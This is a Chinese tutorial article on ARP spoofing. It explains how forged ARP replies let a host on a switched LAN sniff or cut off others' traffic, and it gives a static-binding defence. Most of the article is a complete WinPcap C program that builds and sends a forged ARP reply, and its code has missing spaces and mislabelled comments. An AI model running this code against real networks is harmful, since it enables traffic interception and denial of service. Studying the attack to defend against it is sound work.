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原始套接字透析之ARP欺骗         ★★★

原始套接字透析之ARP欺骗

作者:闵涛 文章来源:闵涛的学习笔记 点击数:1516 更新时间:2006/11/24

  作者:宋宝华

  ARP欺骗的原理可简单的解释如下:假设有三台主机A,B,C位于同一个交换式局域网中,监听者处于主机A,而主机B,C正在通信。现在A希望能嗅探到B->C的数据,于是A就可以伪装成C对B做ARP欺骗--向B发送伪造的ARP应答包,应答包中IP地址为C的IP地址而MAC地址为A的MAC地址。 这个应答包会刷新B的ARP缓存,让B认为A就是C,说详细点,就是让B认为C的IP地址映射到的MAC地址为主机A的MAC地址。这样,B想要发送给C的数据实际上却发送给了A,就达到了嗅探的目的。我们在嗅探到数据后,还必须将此数据转发给C,这样就可以保证B,C的通信不被中断。以上就是基于ARP欺骗的嗅探基本原理,在这种嗅探方法中,嗅探者A实际上是插入到了B->C中,B的数据先发送给了A,然后再由A转发给C,其数据传输关系如下所示:

  B----->A----->C
  B<----A<------C

  Windows系统中缓存了目前的MAC地址与IP地址之间的映射,通过arp -a命令可以获得,如下图:

原始套接字透析之ARP欺骗 arp -a命令
  笔者的电脑IP地址为192.168.1.2,通过网关192.168.1.1到达公网。当某人用"网络剪刀手"或"网络执法官"一类的软件给笔者发送伪造的ARP报文后,笔者的Windows会缓存一个错误的网关MAC地址。由于IP包最终要通过MAC地址寻址到192.168.1.1网关进行转发,而本机对192.168.1.1 MAC地址的记录已经是错的了,这样,IP包将无法到达网关,笔者将不能再连接Internet,这就是恼人的"网络剪刀手"的工作原理。如果受到了恶意的ARP欺骗,我们只需要将网关的IP地址与MAC地址在本机静态绑定,运行如下命令:

  ARP -s 192.168.1.1 00-33-44-57-17-a3

  再看看此时的ARP缓存:

原始套接字透析之ARP欺骗

ARP缓存



  192.168.1.1一项由dynamic变成了static。

  实现ARP欺骗最重要的是要组建一个ARP报文并发送给要欺骗的目标主机,下面的源代码演示了这个过程:

#define EPT_IP 0x0800/* type: IP*/
#define EPT_ARP 0x0806/* type: ARP */
#define EPT_RARP 0x8035/* type: RARP */
#define ARP_HARDWARE 0x0001/* Dummy type for 802.3 frames */
#define ARP_REQUEST 0x0001/* ARP request */
#define ARP_REPLY 0x0002/* ARP reply */
#define Max_Num_Adapter 10

#pragma pack(push, 1)

typedef struct ehhdr
{
 unsigned chareh_dst[6]; /* destination ethernet addrress */
 unsigned chareh_src[6]; /* source ethernet addresss */
 unsigned shorteh_type; /* ethernet pachet type*/
} EHHDR, *PEHHDR;


typedef struct arphdr
{
 unsigned shortarp_hrd; /* format of hardware address */
 unsigned shortarp_pro; /* format of protocol address */
 unsigned chararp_hln; /* length of hardware address */
 unsigned chararp_pln; /* length of protocol address */
 unsigned shortarp_op; /* ARP/RARP operation */

 unsigned chararp_sha[6]; /* sender hardware address */
 unsigned longarp_spa; /* sender protocol address */
 unsigned chararp_tha[6]; /* target hardware address */
 unsigned longarp_tpa; /* target protocol address */
} ARPHDR, *PARPHDR;

typedef struct arpPacket
{
 EHHDRehhdr;
 ARPHDRarphdr;
} ARPPACKET, *PARPPACKET;

#pragma pack(pop)

int main(int argc, char *argv[])
{
 static char AdapterList[Max_Num_Adapter][1024];
 char szPacketBuf[600];
 char MacAddr[6];

 LPADAPTERlpAdapter;
 LPPACKETlpPacket;
 WCHARAdapterName[2048];
 WCHAR *temp, *temp1;
 ARPPACKET ARPPacket;

 ULONG AdapterLength = 1024;
 
 int AdapterNum = 0;
 int nRetCode, i;

 //Get The list of Adapter
 if (PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)
 {
  printf("Unable to retrieve the list of the adapters!\n");
  return 0;
 }

 temp = AdapterName;
 temp1 = AdapterName;
 i = 0;
 while ((*temp != '\0') || (*(temp - 1) != '\0'))
 {
  if (*temp == '\0')
  {
   memcpy(AdapterList[i], temp1, (temp - temp1) *2);
   temp1 = temp + 1;
   i++;
  }
  temp++;
 }

 AdapterNum = i;
 for (i = 0; i < AdapterNum; i++)
  wprintf(L "\n%d- %s\n", i + 1, AdapterList[i]);
  printf("\n");

 //Default open the 0
 lpAdapter = (LPADAPTER)PacketOpenAdapter((LPTSTR)AdapterList[0]);
 //取第一个网卡

 if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
 {
  nRetCode = GetLastError();
  printf("Unable to open the driver, Error Code : %lx\n", nRetCode);
  return 0;
 }

 lpPacket = PacketAllocatePacket();
 if (lpPacket == NULL)
 {
  printf("\nError:failed to allocate the LPPACKET structure.");
  return 0;
 }

 ZeroMemory(szPacketBuf, sizeof(szPacketBuf));

 if (!GetMacAddr("BBBBBBBBBBBB", MacAddr))
 {
  printf("Get Mac address error!\n");
 }
 memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //源MAC地址

 if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
 {
  printf("Get Mac address error!\n");
  return 0;
 }
 memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //目的MAC地址。(A的地址)

 ARPPacket.ehhdr.eh_type = htons(EPT_ARP);

 ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);
 ARPPacket.arphdr.arp_pro = htons(EPT_IP);
 ARPPacket.arphdr.arp_hln = 6;
 ARPPacket.arphdr.arp_pln = 4;
 ARPPacket.arphdr.arp_op = htons(ARP_REPLY);

 if (!GetMacAddr("DDDDDDDDDDDD", MacAddr))
 {
  printf("Get Mac address error!\n");
  return 0;
 }
 memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); //伪造的C的MAC地址
 ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3"); //C的IP地址

 if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
 {
  printf("Get Mac address error!\n");
  return 0;
 }
 memcpy(ARPPacket.arphdr.arp_tha, MacAddr, 6); //目标A的MAC地址
 ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1"); //目标A的IP地址

 memcpy(szPacketBuf, (char*) &ARPPacket, sizeof(ARPPacket));
 PacketInitPacket(lpPacket, szPacketBuf, 60);

 if (PacketSetNumWrites(lpAdapter, 2) == FALSE)
 {
  printf("warning: Unable to send more than one packet ina single write ! \
n ");
 }

 if (PacketSendPacket(lpAdapter, lpPacket, TRUE) == FALSE)
 {
  printf("Error sending the packets!\n"); return 0;
 }

 printf("Send ok!\n");

 // close the adapter and exit
 PacketFreePacket(lpPacket);
 PacketCloseAdapter(lpAdapter);
 return 0;
}
  上述程序中使用了著名的开放项目Winpcap(The Packet Capture and Network Monitoring Library for Windows)中的API,项目网址为:http://www.winpcap.org/。Winpcap是UNIX下的libpcap移植到Windows下的产物,工作于驱动(Driver)层,能以很高的效率进行网络操作。其提供的packet.dll中包含了多个功能强大的函数,我们聊举几例:

  LPPACKET PacketAllocatePacket(void);

  如果运行成功,返回一个_PACKET结构的指针,否则返回NULL。成功返回的结果将会传送到PacketReceivePacket()函数,接收来自驱动的网络数据报。

  LPADAPTER PacketOpetAdapter(LPTSTR AdapterName);

  打开一个网络适配器。

  VOID PacketCloseAdapter(LPADAPTER lpAdapter);

  关闭参数中提供的网络适配器,释放相关的ADAPTER结构。

  VOID PacketFreePacket(LPPACKET lpPacket);

  释放参数提供的_PACKET结构。

  BOOLEAN PacketGetAdapterNames(LPSTR pStr,PULONG BufferSize);

  返回可以得到的网络适配器列表及描述。

  BOOLEAN PacketReceivePacket(LPADAPTER AdapterObject,LPPACKET lpPacket,BOOLEAN Sync);

  从NPF驱动程序读取网络数据报及统计信息。

  数据报编码结构: |bpf_hdr|data|Padding|bpf_hdr|data|Padding|
BOOLEAN PacketSendPacket(LPADAPTER AdapterObject,LPPACKET lpPacket, BOOLEAN Sync);

  发送一个或多个数据报的副本。

  我们用Depends工具打开pakcet.dll,如下图:

原始套接字透析之ARP欺骗

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